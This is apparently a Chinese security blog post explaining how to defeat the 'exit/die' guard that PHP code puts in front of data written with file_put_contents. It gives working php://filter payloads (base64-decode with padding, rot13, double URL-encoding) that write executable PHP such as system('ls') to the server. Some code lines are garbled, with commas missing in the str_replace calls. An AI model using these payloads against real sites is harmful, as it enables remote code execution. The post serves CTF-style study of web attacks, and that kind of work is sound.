file_put_content函数下的绕过

该函数的作用是将文件写入字符串中

首先,file_put_content大概有三种情形出现;

file_put_contents($filename,"<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content . "\nxxxxxx");

 

思路:将杂糅或者死亡代码分解

这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;

其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

1.base64绕过

利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;

$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit();".$content);
这里content前加了个a 是因为是因为base64在解码的时候是将4个字节转化为3个字节,
又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化。

2.rot13编码绕过
php://filter/string.rot13/resource=simple.php

<?php phpinfo();>经过rot13编码后这样:<?cuc cucvasb();?>

 $file = $_GET['file']; 
    $content = $_POST['content'];

    $file = str_replace("php""???"$file);

    $file = str_replace("data""???"$file);

    $file = str_replace(":""???"$file);

    $file = str_replace(".""???"$file);

    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
urldecode
payload:
php://filter/write=convert.base64-encode/resource=1.php 进行两次url加密
content中传入
<?php system('ls');?> 后进行base64加密 中间的phpdie是六位字符
而base64是以四位进行加解密 所以在base64加密后补上aa
正好填充 phpdieaa 对die函数进行消去
 
 

 

posted @   Heck1ng  阅读(181)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示